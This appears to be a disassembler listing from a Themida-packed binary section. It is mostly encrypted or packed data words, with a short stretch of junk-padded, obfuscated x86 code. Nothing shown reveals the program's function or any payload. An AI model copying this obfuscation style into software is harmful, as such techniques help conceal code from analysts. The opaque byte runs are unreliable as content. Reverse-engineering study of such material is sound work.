		dd 0A2464B71h, 922BBB9Fh, 3E07E9FFh, 2FB1D234h,	0D20DFE8Bh
		dd 64D2D89Eh, 0FB962952h, 0F592D446h, 0E4563B83h, 0A3E6F4h
		dd 7EFAAB5Fh, 6FF95B70h, 37E9955Fh, 0D5D8ECA5h,	3479061h
		dd 224E0000h, 862FD5BCh, 5EC14209h, 6B77B95h, 27F67EA1h
		dd 9AAF38C2h, 226EFD9Eh, 0EAA105EEh, 0E2B19AE7h
		dd 0A105EDCEh, 33CF2B96h, 5D348AEBh, 0C9C81622h, 0F9902AB6h
		dd 10DE5A66h, 4E385965h, 7296FBE2h, 5EDBECDh, 9F67E5A1h
		dd 0D98A07D6h, 0F1177247h, 5EE3F4Ch, 0F1FD71A1h, 0D3543584h
		dd 59DB6D5Ch, 0E2B1CA9Dh, 0A10648CEh, 4F62B96h,	4524001Bh
		dd 0CDF0A106h, 601D20C4h, 5FEE312Eh, 0FF492B95h, 2203FFFFh
		dd 622791BBh, 17B32C1Fh, 3A464B85h, 7583AC8Eh, 2E9B2968h
		dd 0A105BADDh, 77FE0804h, 0E8F82B66h, 0C02DBBD6h, 7191DDD7h
		dd 0A12AF418h, 65D2F8B3h, 58AFh, 373E6F00h, 188F5CCFh
		dd 0A2AFBB7Ah, 0AF10899Fh, 53F9CCE4h, 501B94A7h, 0A477B2FFh
		dd 299284B9h, 0A75402E6h, 0B43FE027h, 0A754025Ch, 0C53D1924h
		dd 95849239h, 18809BADh, 5E000000h, 6B4BB05h, 0E0718CA1h
		dd 4DFFFFFDh, 0C07h, 0C9148400h, 7E86EC8h, 235h, 0C8BB22DBh
		dd 268B2Eh, 0E5A03C11h,	0DD7D61B2h, 6EFE0A57h, 0AFE2FD4Fh
		dd 0C44BB172h, 0BAC0BFCh, 0B94F429Dh, 0A8474976h, 0AC0FA106h
		dd 4B52814Ah, 78EFAFBEh, 12B8EAFCh, 0EEFE58F4h,	949845E3h
		dd 0D3A74FB1h, 401EAD39h, 3C9BA94Bh, 28h, 8A373EF2h, 23245930h
		dd 0BE54F358h, 0BA2090AFh, 54776BCFh, 0E5010BB0h, 0CC40A74Eh
		dd 818B8942h, 0A9879BA8h, 67000000h, 32D6BB22h,	677D14AAh
		dd 35D3BE1Fh, 147544B4h, 64D6BB04h, 0CB1A6974h,	5498375Ch
		dd 39E29DE0h, 0A1062604h, 0BACFEB9Dh, 642D9060h, 5D7C2C1Bh
		dd 6AB7D2E7h, 13E7535Eh, 0D8A3A41Ch, 0AFB941ABh, 6F210A35h
		dd 8EC9424Fh, 68F3F79Fh, 0A7518628h, 0F182CDF0h, 1E07F3FEh
		dd 94D5BC22h, 29BE51Ah,	3E64079Dh, 0FA000004h, 6977A8E1h
		dd 0F8083B56h, 6672ADE4h, 0ECEC3752h, 0E284BFD2h, 0ECA539D6h
		dd 7415A533h, 0FD8C2DABh, 6A27B642h, 3CC728B9h,	9AB96BF4h
		dd 31CF6FBCh, 0C630597Fh, 3088C41Ah, 0DD5B2459h, 0B8CE9100h
		dd 32D6BB22h, 0C57E13AAh, 1A16E542h, 0F5A106B8h, 6B82A66h
		dd 49CFF2A1h, 69E01406h, 0B2E5AE99h, 7CAFBEBAh,	406B351h
		dd 0D2A74EB9h, 0E058C5Ah, 51A635B6h, 2EB606BBh,	36285B82h
		dd 0A4BE8E1Dh, 0F1E15508h, 0EAB5DCEh, 0A6969F7Bh, 7D457AFh
		dd 0BC4BC8F8h, 2B8C7FC2h, 992F627Dh, 5A378696h,	479783CEh
		dd 131DE675h, 16B3E449h, 134F4B8h, 8AB54380h, 236F8CD7h
		dd 2B3E413h, 377902A5h,	0FFB3E413h, 13111FBCh, 76D9B3E4h
		dd 4855484h, 53A23Bh, 5C00000h,	0A106B7A7h, 49724D82h
		dd 955D4F74h, 0EEE651A1h, 7819A335h, 5FB1FF6Ch,	9DDEA106h
		dd 601F71FAh, 0CFEBA106h, 27133EBAh, 8A3243CBh,	1DBC3C07h
		dd 98F3586Ch, 0CAA1065Fh, 1B75FEA1h, 0E3A10660h, 5FD7D9A2h
		dd 9C9FA106h, 717D75E1h, 8BD4B504h, 0D2B722F3h,	6813A636h
		dd 0E6315155h, 0D5F32E75h, 96DF2783h, 0DEFD4643h, 0A1061A50h
		dd 0D12C2965h, 8826955Fh, 0B1FFFFFFh, 45B1E0FFh, 91BB22FFh
		dd 0D4BD202Ch, 0A830D489h, 51C37C15h, 8F01EADAh, 0D0C11B29h
		dd 9034E934h, 0BF4CA98Dh, 0AFBE5A94h, 0A815B31Eh, 0A74ED764h
		dd 2E9D69A3h, 9BA87130h, 402Ch,	373E0200h, 1C8F5CCFh, 0A6AFBE54h
		dd 0CCE08D9Bh, 98A74EE3h, 2CBC4841h, 6722B88Ch,	25C37EC1h
		dd 7C8809D5h, 0D826CE31h, 0B73FCDE2h, 8FA16ACDh, 57A74EE3h
		dd 2A2C02F4h, 269BA881h, 0D2h, 0D6BB2208h, 7D14AA32h, 89BB1E8Ah
		dd 245930h, 0F17959BDh,	0E61FC5CCh, 65F01971h, 0D93D2857h
		dd 9EE1B00Dh, 6BC3885h,	761BC2A1h, 0BA922BADh, 0FD942923h
		dd 0E499E4E7h, 655DD440h, 19E245E2h, 0A106BA17h, 0F13FDCDFh
		dd 0B9A106B9h, 0B843A496h, 0AFBEB9D3h, 0BE31F25Dh, 0DB35BE61h
		dd 0A3A74EB9h, 0BA2D8398h, 0BC30A74Eh, 9AAF0835h, 0BA9C9F35h
		dd 803C34Ah, 26D067Bh, 0C6418CB6h, 520D845Ah, 0F099F8C6h
		dd 0FC536F48h, 0E216B96Bh, 9E000001h, 5134C3Dh,	8C8CD7BAh
		dd 221E6130h, 9090D3B6h, 8E20632Eh, 9001DD2Ah, 206951CFh
		dd 91F8E15Fh, 266B52CEh, 905BDC5Dh, 9AB96980h, 317BE348h
		dd 0B7AB058Eh, 4873A106h, 0B5DC02EEh, 424F6E6Ah, 373E6501h
		dd 1C8F5CCFh, 0B9AFBE54h, 3A1C7547h, 0DC81A7AAh, 0A74EE3D0h
		dd 4C17780Fh, 0A74EE444h, 0A837C10Ch, 66D0DBE9h, 0C94B808Eh
		dd 0C59BA880h, 0BBh, 0C8BB2299h, 60F54DD9h, 4BD9A48Fh
		dd 5A6E23BBh, 60CA8F5h,	770641A1h, 624F536Dh, 0A439A591h
		dd 17A632EDh, 333A6E7Ah, 0E08B58D3h, 6AAFBE22h,	0AB34E467h
		dd 1BFF42E6h, 0DB2B2212h, 41BDA370h, 3A85B601h,	1CC26ED1h
		dd 89558175h, 47711F08h, 0D14FD842h, 5FE5A4EDh,	60FC54AAh
		dd 10B21CCh, 0F4C70000h, 714ECA95h, 0FBE15F20h,	6D4BCD96h
		dd 9D5631Ch, 85B7D788h,	0C573A84h, 0A8DBAE0Ch, 17484198h
		dd 0A2DDB409h, 49471497h, 119AB969h, 0BC22B28Ch, 0C95F2A90h
		dd 1750BB86h, 1DE650D4h, 0A1062413h, 0DF9F70DBh, 68CD2967h
		dd 75BB48E7h, 3DA10635h, 25B82812h, 228BB36Ch, 0AA32D6BBh
		dd 75BB4813h, 3DA106B7h, 13144F12h, 0AC385965h,	474297A1h
		dd 48BC9EA1h, 0A90601C1h, 0E873E8F7h, 0A106B7A8h, 26104D70h
		dd 0BB7A269Dh, 708CC3AFh, 443E746Ah, 0BA429284h, 14B06D24h
		dd 9C8AF9C4h, 9BBC2881h, 18285B26h, 0AD5BCCC5h,	3498820Fh
		dd 0A5B63887h, 37BF2D0Eh, 9001DB4Dh, 0CE5A3788h, 76479783h
		dd 5D8681Bh, 0C8F0788Ch, 0E889AEB3h, 4A17B2CDh,	0A5718FBEh
		dd 0DBA4EDD0h, 1611805Dh, 31A6EA79h, 636E0FFEh,	0F592D3F7h
		dd 31C7C992h, 2C8F0FFEh, 0FE31818Fh, 1406490Fh,	0CA9h
		dd 16B99500h, 878E3FA1h, 4BAFAD25h, 0D0B92201h,	7819A434h
		dd 0CCBD1C6Ch, 7F0AB038h, 0D4BD2169h, 7B16A830h, 0CEBB1D6Dh
		dd 870AB23Ah, 0CBC61961h, 8952D93Dh, 4C281E2h, 56000000h
		dd 4BEh, 5EF22900h, 5C241487h, 81E38953h, 4C3h,	4EB8100h
		dd 87000000h, 895C241Ch, 89512434h, 4C181E1h, 83000000h
		dd 0C8704E9h, 14895C24h, 65B5BE24h, 0BB5368D2h,	78FB5591h
		dd 44A8EB81h, 0EB81406Fh, 398D7894h, 75EBEB81h,	0C38105B3h
		dd 693A008Bh, 545BDE29h, 8324148Bh, 0EC8304C4h,	24348904h
		dd 0FF08428Fh, 815A2434h, 4C4h,	24348B00h, 81E18951h, 4C1h
		dd 4C18300h, 5C240C87h,	0FBF613E9h, 0DD22B8FFh,	0F4511591h
		dd 184982DBh, 508BB8CCh, 0C503064Dh, 0A1C8E0FFh, 0B0213BC7h
		dd 5AA65A2Eh, 0D2B9343Eh, 0BCF761Fh, 0D3955499h, 68B009E2h
		dd 4C05696Dh, 1C344355h, 0F0A51804h, 868E0E66h,	7D5E73BFh
		dd 4FDC3DE4h, 75E96243h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B08CC351h
		dd 0B70F60F2h, 11E8F6h,	0EF80000h, 5C2AC205h, 0ADC68931h
		dd 1485E9BBh, 0FEBF7F6h, 85h, 8D615A00h, 4D5224B5h, 108C0F06h
		dd 0E9000000h, 0Bh, 5559132Ch, 60565972h, 8D656E5Fh, 4B4B7385h
		dd 5E906h, 8BF60000h, 0FF8A0DD5h, 57006AD0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 65AD161h, 0FCA161E2h
		dd 1C810FC3h, 0F000000h, 1685h,	11E900h, 0EECF0000h, 2C3D054Bh
		dd 3C01AA20h, 9D614602h, 662DDBF5h, 11E9D98Ch, 96000000h
		dd 7136BC34h, 6A84952Bh, 0AB1C4CE5h, 5DEA1FE4h,	0F04C1F6h
		dd 5784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 95FF120h,	0CB8BFB8Bh, 75AEC032h
		dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh
		dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h,	1B8FAh
		dd 9EB0000h, 0E4EB008Bh, 0B8h, 8160CF00h, 8C9EB3F0h, 14E874h
		dd 26D70000h, 0D90191D1h, 0AD8B2E75h, 26D8F9EEh, 984CA1CCh
		dd 800F10ABh, 0
aAs		db '[aИ',0Dh,0
		db 2 dup(0), 0EFh
		dd 0B80016BEh, 43FCF60Bh, 533EE39Ch, 0F8C38160h, 61223A48h
		dd 527D85C7h, 13F064Dh,	60EB0001h, 18h dup(0)
		dd 0AEAE9h, 0ADEE900h, 0FF680000h, 0E9064D5Ah, 0FFFB29F7h
		dd 4D5C1568h, 29EDE906h, 8E68FFFBh, 0E9064D5Ch,	0FFFB29E3h
		dd 50085408h, 520A560Fh, 510B5711h, 520A5610h, 520A5611h
		dd 0D1860BD3h, 0D78ACB85h, 0DB90D18Bh, 0DEF4A58Fh, 0EA36AA92h
		dd 140670E6h, 1D21C456h, 231C6881h, 0EA362B6Ch,	4B053672h
		dd 51DD44FFh, 66024E04h, 0F40F5B75h, 4B630565h,	56EF4B89h
		dd 5DE63229h, 5711273Ah, 62DD2941h, 44FF26FFh, 54F03C13h
		dd 131F6B63h, 6520D2Ah,	1B67815Ah, 421E46FFh, 39F23E19h
		dd 7D1284D0h, 0FF224FC7h, 0E02C2233h, 0D4203867h, 5208314Bh
		dd 4B1F3D06h, 4FC77D5Bh, 43CF36D9h, 34EF3B12h, 17455BDDh
		dd 8CAA9453h, 705DC249h, 18546EC1h, 0A1EDE354h,	0FE6AC3A6h
		dd 7CF2FEE2h, 0B05613EDh, 0BD98C551h, 0E3E7D371h, 5613ED73h
		dd 7CD45EC1h, 96E2F7E0h, 54BB48Dh, 0EB5C0356h, 0F85FD25Ch
		dd 0E0D29ECAh, 9656141Ah, 0BE97ADA5h, 0B950B972h, 0DB64CB5Dh
		dd 1EAD60C1h, 6D696DABh, 529EB4A1h, 3B65BEEAh, 1450396Bh
		dd 8180C650h, 86211D69h, 6E687E55h, 0E9402922h,	0FA146076h
		dd 0E85BF945h, 5A8658D2h, 0C6B32096h, 2428144Fh, 4FC6B332h
		dd 1D061F02h, 4669486Bh, 64EC461Fh, 1953801Ah, 4D3057F1h
		dd 0C6000000h, 58D2E85Bh, 0B7495A86h, 0A6B7B534h, 0D1C589B7h
		dd 634FC75Fh, 84FA72BCh, 0A84FC75Fh, 0C75EAABFh, 965A867Bh
		dd 4FC6B320h, 3921ED14h, 4E648107h, 6ED34C98h, 55868B97h
		dd 0DF42F7Bh, 0D405D901h, 9277B0FCh, 3A3FBE88h,	0D3000000h
		dd 58D2E85Bh, 68815A86h, 0E45A121Ch, 444FC6B2h,	3C8661DDh
		dd 2D795586h, 0D5974E1h, 5720CE2Fh, 0F82CF81Eh,	1D86281Eh
		dd 0D68BCA55h, 0C25EA18Ah, 0B26DB994h, 805CB64Fh, 9E95B3Eh
		dd 3D313D4Eh, 0EF4FC6B3h, 3410F910h, 8EB64718h,	0C18AA549h
		dd 0BBD67AA3h, 726E72D4h, 6EC814D1h, 0F978C06h,	18FBDB56h
		dd 0C6B894A8h, 66560F97h, 0D2ED6FCBh, 0B15B39F9h, 196h
		dd 0CE045B45h, 0B2F05E72h, 0DD444FC6h, 4A263A62h, 4FC6B354h
		dd 510639D8h, 362C2905h, 31FA4620h, 0B3473713h,	4AE54FC6h
		dd 1F6B80E3h, 6A865A06h, 4FC6B2F4h, 193DD938h, 0D51D862Fh
		dd 9E15D30Ah, 865CF915h, 67E55975h, 0E8474FC7h,	1D690541h
		dd 58D2E85Bh, 5380107Ah, 6557F119h, 150E5A74h, 9550B2Ch
		dd 0DE4FEB3Eh, 4Bh, 5CA8A596h, 0D3977CE3h, 86198695h, 5BA9939Fh
		dd 8658D2E8h, 0C6B2F46Ah, 12D7384Fh, 36C3104Ah,	86E06AC3h
		dd 4E64813Ch, 72D7509Ch, 7554AD9Bh, 0BBFD7391h,	60B31FDh
		dd 453FBCh, 90F10000h, 4013C4DDh, 285A0BF4h, 5B86C05Ah
		dd 4A76D2E8h, 0C6B31086h, 31FD244Fh, 0F46A860Bh, 344FC6B2h
		dd 0B3524408h, 3FE24FC6h, 3C865CE6h, 974E6481h,	0A558A749h
		dd 0F31A681Ah, 0EE38D138h, 0E401DA06h, 5BC87E98h, 5E72CE04h
		dd 4FC6B2F4h, 314ED938h, 2E4FED39h, 0CB995D9Bh,	0AC60CB08h
		dd 62CEAA52h, 320C44CEh, 211D6981h, 0E85B1D69h,	3D065208h
		dd 361F3DE4h, 23CD622h,	5380107Ah, 3057F119h, 39h, 0D2E85BC6h
		dd 815A8658h, 74001A66h, 4FC6B302h, 4C0532h, 2D922F27h
		dd 0D0390D39h, 495A8656h, 7BBCFBBEh, 0A59F7B6Eh, 2C186481h
		dd 2B07530Bh, 3FBC0611h, 28h, 0D2E85BD3h, 0F46A8658h, 344FC6B2h
		dd 3C8651CDh, 20965A86h, 144FC6B3h, 47DE2A23h, 27736AEBh
		dd 7C55861Bh, 0C4FEE630h, 863Fh, 45BD300h, 0F05E72CEh
		dd 444FC6B2h, 1D3562DDh, 811D67D1h, 163F1D69h, 0DB2EF945h
		dd 5586053Fh, 0FF22D79h, 5B043A03h, 4D410DE8h, 0DF4FC6B3h
		dd 7A5DE940h, 19538010h, 333057F1h, 0C6000000h,	58D2E85Bh
		dd 6A865A86h, 4FC6B2F4h, 0FD25716Dh, 0EA5C1822h, 4A4FC6B2h
		dd 3C865BE7h, 2C186481h, 2C06520Bh, 1DA0612h, 0C57F9BE7h
		dd 163Fh, 0E85BD300h, 6A8658D2h, 4FC6B2F4h, 8651CD34h
		dd 1864813Ch, 81BC060Eh, 75221D69h, 7E2A125Eh, 7D6E845Dh
		dd 0FA13F631h, 0DF2B3F20h, 0B3544864h, 6C024FC6h, 0D21E34A9h
		dd 0D521396Ah, 4E42FB4Ah, 0A3D44F9Bh, 6CB895ABh, 0A8FE8A95h
		dd 3622C06Dh, 0D881D820h, 447FB131h, 65CF1BCFh,	2A162E0Eh
		dd 8F875126h, 0C37CA349h, 0F88B1A9h, 6AB6B056h,	1CD86E1h
		dd 855085CBh, 79B2FED2h, 0DF8A496Fh, 0FB715482h, 5B3917E8h
		dd 309Bh, 69813300h, 42163F1Dh,	10864AF6h, 244FC6B3h, 800C31FDh
		dd 4FC6B30Eh, 62D72E44h, 702C2470h, 0B30E804Ch,	651B4FC6h
		dd 0F669635Ch, 0D45EC169h, 1D69816Ah, 89617A22h, 0FE3EF13Dh
		dd 8A667AE6h, 4FC6B314h, 198C1B15h, 0DA30EA30h,	6B7FDB37h
		dd 498C4AC0h, 43513EEh,	2038024Eh, 73D1E759h, 0DBF00857h
		dd 0EA06664Fh, 4FCBF174h, 77B059B8h, 0CBF165DDh, 0F1D4024Fh
		dd 34805881h, 292516EBh, 33FF62DDh, 0F6539E21h,	21E554h
		dd 5B790000h, 4E72CE04h, 0C6B30C82h, 3501204Fh,	0B33D212Dh
		dd 10EF4FC6h, 14D0334h,	1BC457h, 5B7A0000h, 5E72CE04h
		dd 4FC6B2F4h, 126BD938h, 0BF542C56h, 0E773BF61h, 66CE1ACEh
		dd 16C3F1Ch, 5BD30000h,	8540703h, 1D862521h, 2A148716h
		dd 3FBB283Eh, 530450BBh, 67152A04h, 0C468C616h,	5CB6AEB6h
		dd 1D6981E2h, 80107A21h, 57F11953h, 30F93C65h, 25C525F7h
		dd 501C09h, 5BB20000h, 4773D103h, 0B2E75773h, 0EA454FC6h
		dd 0C6B3188Eh, 42F51C4Fh, 4FF5418Dh, 0B2F46A86h, 0F384FC6h
		dd 925E0A56h, 4FC6B31Ch, 2C18F110h, 3F08540Bh, 86F650EAh
		dd 0F46A865Ah, 384FC6B2h, 236F66D9h, 67812D17h,	0BC060F1Bh
		dd 2F3Fh, 1D86D300h, 411958E3h,	0BFB0AF5h, 40E93531h, 0E91B43F6h
		dd 0F46A865Dh, 344FC6B2h, 3C8651CDh, 0F1B6781h,	20965A86h
		dd 144FC6B3h, 87B921EDh, 3F1D6981h, 2CF74316h, 690339D5h
		dd 0D2E85B1Dh, 80107A58h, 57F11953h, 3230h, 0E85BC600h
		dd 6A8658D2h, 4FC6B2F4h, 864DD938h, 0B320965Ah,	0ED144FC6h
		dd 81073921h, 60E1864h,	9BE701DAh, 0AEFAEF90h, 99758C75h
		dd 463FA3h, 5BD30000h, 14D08E8h, 0B3178763h, 0FA154FC6h
		dd 6A861713h, 4FC6B2F4h, 428E4972h, 10162009h, 5A862DF9h
		dd 4F1D6981h, 4FC6B35Fh, 7CE832CDh, 18648142h, 4A3C102Ch
		dd 0E74FC6B3h, 0C834EE36h, 0BF62C86Fh, 0BC06C973h, 251E6A81h
		dd 0C6B31487h, 7251894Fh, 0AE9AE6FDh, 0D384D08Dh, 0EF67B3FFh
		dd 82CE82B3h, 6A818EB8h, 6172251Eh, 0E73F0A15h,	58A4B72Ch
		dd 375BC4E0h, 0C06352Eh, 20965A06h, 144FC6FAh, 0E34921EDh
		dd 684FC702h, 0F15FEAF6h, 0FE659B54h, 9633FFFFh, 4FC6B31Ch
		dd 0C6B2605Ah, 0F9D5064Fh, 147516ABh, 859CFF9Ch, 6CCC1A9h
		dd 0B6AC4FC7h, 0C04FC706h, 4FC706CAh, 0C706B6ACh, 0D3B3858Fh
		dd 6CE2EEFFh, 0C00FC706h, 0AA7FC861h, 6BCB2BEh,	91700FC7h
		dd 0CC78h, 30098C9Fh, 410356D1h, 81CA29h, 0F2849FEBh, 2D212D1Ch
		dd 0FF1610E9h, 44200920h, 0D8F4E728h, 3408250Fh, 24D632DAh
		dd 0F0666AD6h, 440FC8E0h, 0A1E644DDh, 0F80CBF79h, 256CE2Fh
		dd 0D2820000h, 0D08DCE86h, 0D58BCC84h, 0D88ECF89h, 0DCF3A48Ch
		dd 11B9A890h, 0CD87D38Ch, 0CF89D58Ch, 0A791DD8Eh, 0A098E4F6h
		dd 6ADCF03Ch, 0CA56140Dh, 6981272Bh, 0F6317D53h, 6D4EFA13h
		dd 461B2470h, 0B360561Ah, 2DD44FC6h, 0DF405CE1h, 501C40E1h
		dd 4FC6C55Eh
		dd 18D833CEh, 3BFE18A2h, 7955F309h, 498C92C6h, 630F49E8h
		dd 561494EFh, 68D4EC4Ch, 6780964Fh, 3C28F21Bh, 0D9C26B30h
		dd 0E27EA14Fh, 9B95E1F9h, 0FFD2E8FAh, 789178B3h, 63B5A5AFh
		dd 0A6964FC7h, 719EB28Eh, 0C3498C92h, 3D7005Ch,	0F8E17DB7h
		dd 0B48D96E2h, 99E5FD5Ah, 0CF8DF68Eh, 0E7CACDACh, 77C970CAh
		dd 0AB74C097h, 0BD91AF56h, 4FD94D8Eh, 73C681A0h, 0C18DBBD1h
		dd 498C18FEh, 4273D130h, 1A667A90h, 3C1D49F3h, 493D1122h
		dd 0EB56141Dh, 451DD44h, 1B49024Eh, 40DA263Ah, 14133E34h
		dd 253BFD56h, 52043337h, 0CF324FD9h, 253BFD54h,	0A38C3337h
		dd 57BA498Eh, 0F54658B7h, 0ED501BCAh, 140h, 42C786Ch, 62E7A53h
		dd 52F7B55h, 62E7A54h, 62E7A55h, 352AAF17h, 3B2E6FE9h
		dd 3F1445EFh, 421849F3h, 165A3EF6h, 140F443Ah, 0C10DE856h
		dd 20965A86h, 144FC6B3h, 2E0E21EDh, 0E148944Ch,	0E1B86783h
		dd 730498Bh, 0EA3F0854h, 716DDA50h, 8E06FA25h, 897A8904h
		dd 72D2A7A0h, 29E2EE5Ah, 834FDC92h, 86A313D7h, 6E914FCCh
		dd 84667797h, 2651CCB8h, 0C737h, 95E1F300h, 97E3FA9Bh
		dd 98E4FC9Dh, 9BE7FFA0h, 9BE700A1h, 971CC2A1h, 9BBC74C0h
		dd 0A1C27AC6h, 85D67ECAh, 0C3D781CDh, 0FE3D397h, 72515614h
		dd 0D3E95B30h, 77704975h, 747202Bh, 8D6C05AAh, 0F179956Ch
		dd 498CA746h, 117CF78h,	0BA8F98E4h, 0AD8EBA53h,	77D06AB6h
		dd 8EC612C8h, 6CE2EED2h, 0C0561449h, 0D288D561h, 0C474BD86h
		dd 0F7BC90ACh, 354FD976h, 263F5510h, 11F833DAh,	461F40F8h
		dd 472142FAh, 462041FBh, 2 dup(462142FAh), 482142FAh, 500354FCh
		dd 570B4C04h, 2415510Bh, 855E12Dh, 0E44B0551h, 4C203C54h
		dd 498CA487h, 0BEE16AC5h, 65F860ACh, 0Ch, 0D219E637h, 4C534C17h
		dd 17637CC2h, 241F6B81h, 18135F73h, 1F287467h, 221D6980h
		dd 150E5A75h, 26216D62h, 16115D79h, 28236F69h, 19125E77h
		db 74h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	4578h
		mov	[esp], ecx
		push	ebx
		push	esi
		mov	esi, 0B905FA5h
		sub	esi, 0CB87C60h
		and	esi, 6EED1C64h
		inc	esi
		add	esi, 1051503Bh
		add	esi, 2DB67746h
		sub	esi, 351277AFh
		mov	ebx, esi
		pop	esi
		neg	ebx
		neg	ebx
		xor	ebx, 71F7036Eh
		mov	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		push	ecx
		mov	ecx, 6F4C44E8h
		sub	[esp+4], ecx
		pop	ecx
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 6F4C44E8h
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 62h
		dd 392C44D0h, 0C4775074h, 4D5D7AB8h, 8BC50306h,	568D8DC3h
		dd 6A064D5Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0CE03C356h, 8D890E24h,	6480A19h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B8C35242h
		dd 329E8770h, 3585C78Dh, 5006480Fh, 8B000068h, 48047D9Dh
		dd 2585C706h, 64824h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0BF35C353h,	0D3EA1D77h
		dd 68E0Fh, 0BD8B0000h, 6481EEDh, 12E8h,	8E8E5500h, 0B72874B1h
		dd 0E2D40674h, 0C00ECD17h, 8BF47C3Ah, 482E9DB5h, 0B5FF5B06h
		dd 6482E1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	98C35646h, 0C101E9AFh, 0EB80DE3h, 1D8D8960h, 51064815h
		dd 0FF6158FCh, 4820BD95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 68122787h
		dd 6A2AB6h, 306195FFh
		db 48h
byte_592CC5	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0053E28Co
		dd 0B2313CEBh, 1F5AB0C4h, 0CCB965C0h, 1D2278A2h, 4B09DEE7h
		dd 69C4B1FEh, 600BB2CEh, 5A9722FAh, 0B85E928Ch,	91CC7649h
		dd 0DBC82AF6h, 5606D636h, 0EB5A9487h, 9510B373h, 0CD0BA59Bh
		dd 0BE8473Ah, 0AA000000h, 1B28B887h, 2CC01098h,	85890CB5h
		dd 6481E21h, 2890F5Fh, 8B000000h, 0E5C781CEh, 0E900006Eh
		dd 13h,	87AAF611h, 981B28B8h, 0B52CC010h, 0A1E4250Ch, 33A4A134h
		dd 0A58523D2h, 8B06481Ch, 95291734h, 6481F01h, 9F4FC681h
		dd 0B9663041h, 0F6816DE4h, 6E04DD1Bh, 26D18D03h, 0C6810648h
		dd 6521EB41h, 2F05BD89h, 0E9560648h, 14h, 0A181270Ch, 839791EFh
		dd 0A2CF3061h, 4113F429h, 8DECFEECh, 8A17048Fh,	0BABB66CCh
		dd 5CEA8162h, 812EE078h, 37FD47E1h, 58C28113h, 8B2EE078h
		dd 4820319Dh, 0FCFA8106h, 0FFFFF91h, 1985h, 0D9858900h
		dd 0E906480Fh, 28h, 7FF140CDh, 0C50A113Ah, 84E8A1D0h, 0E9F59B9Fh
		dd 0FFFFFF6Fh, 0CA99BD9h, 0D6A4AD79h, 21C272D4h, 0E04E3418h
		dd 0C074CB6h, 0EE8h, 0FDE05B00h, 14A69284h, 73A2A999h
		dd 66C9E158h, 5E636BBFh, 81D18B66h, 5E97C6h, 1D9D8900h
		dd 0BB06481Bh, 1773h, 3810Fh, 0BF0F0000h, 890E8BD1h, 48104D9Dh
		dd 0B6F18106h, 0F75B4C4h, 68Eh,	0F19D2900h, 81064804h
		dd 9BB62DC1h, 0DDBD0373h, 81064825h, 8759F9C1h,	13E87Ah
		dd 52E90000h, 0D1D78072h, 0A6A1E670h, 2EFE1E39h, 61FF03Eh
		dd 0A5B5891Dh, 58064824h, 12E951h, 19C60000h, 1861DBE9h
		dd 9A036174h, 0BF7F5CF8h, 0B0EA28D1h, 0BF66068Fh, 0EE833A12h
		dd 0BD896002h, 648241Dh, 0E840Fh, 8E80000h, 50000000h
		dd 498DC33Ch, 5F8F06F1h, 804E4E61h, 0EB8176D8h,	1, 0FF67850Fh
		dd 858BFFFFh, 6482939h,	62208D8Dh, 6A064Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B4255CC3h
		dd 2B67E54h, 0B50B7908h, 6481525h, 0A198D89h, 6A0648h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 2DCF41C3h, 0C6DD09F8h, 0F3585C7h, 5B380648h,	0BE660000h
		dd 85C74524h, 6482425h,	0
		dd 0FFFFB70Fh, 481E3DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 89562B86h
		dd 483225B5h, 95FF5806h, 64820BDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0DEC35141h,	1F952C20h, 95FF006Ah
		dd 6483061h, 3BEBC08Bh,	0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh
		dd 0C1B7CB11h, 0DA160879h, 0D590CAF4h, 0F3A47804h, 4C5D76E8h
		dd 5BC714F4h, 20DDD26h,	6857FFADh, 0DA8D81Bh, 883B5D1Fh
		dd 41B2DCCBh, 0E99B441Dh, 266h,	0D98C6660h, 0F04C1F6h
		dd 3584h, 0FF016A00h, 482C21B5h, 1E858D06h, 0FF064B83h
		dd 18589D0h, 8B06482Ch,	0CEFC1FEh, 6000068h, 6A006A20h
		dd 0D685702h, 0FF000100h, 482C0195h, 32E906h, 85C60000h
		dd 648276Dh, 30DF6856h,	0B5FFA9C5h, 6482195h, 831E858Dh
		dd 0D0FF064Bh, 1B198589h, 858D0648h, 6481015h, 6A406A50h
		dd 95FF5605h, 6481B19h,	0C361h,	2 dup(0)
		db 2 dup(0)
word_593056	dw 8B52h		; DATA XREF: Themida_:0053CDC8o
